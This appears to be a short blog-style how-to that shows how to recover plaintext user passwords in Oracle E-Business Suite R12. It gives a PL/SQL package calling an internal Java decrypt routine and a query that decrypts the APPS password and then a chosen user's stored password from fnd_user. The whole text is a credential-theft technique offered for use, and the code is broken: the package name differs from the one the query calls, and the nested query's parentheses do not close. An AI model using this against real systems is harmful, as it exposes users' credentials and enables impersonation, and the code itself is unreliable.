How to find password of a User in Oracle Apps R12 - (Decrypting Password)

 To achieve this you need to create a small package and run a query :

CREATE OR REPLACE PACKAGE get_user_pwd

AS

   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)

      RETURN VARCHAR2;

END get_user_pwd;
/

Package Body:

CREATE OR REPLACE PACKAGE BODY get_user_pwd

AS

   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)

      RETURN VARCHAR2

   AS

      LANGUAGE JAVA

      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

END get_user_pwd;

Query to execute :

 SELECT usr.user_name,

       get_pwd.decrypt

          ((SELECT (SELECT get_pwd.decrypt

                              (fnd_web_sec.get_guest_username_pwd,

                               usertable.encrypted_foundation_password

                              )

                      FROM DUAL) AS apps_password

              FROM fnd_user usertable

             WHERE usertable.user_name =

                      (SELECT SUBSTR

                                  (fnd_web_sec.get_guest_username_pwd,

                                   1,

                                     INSTR

                                          (fnd_web_sec.get_guest_username_pwd,

                                           '/'

                                          )

                                   - 1

                                  )

           usr.encrypted_user_password

  FROM fnd_user usr

 WHERE usr.user_name = ':USER_NAME';
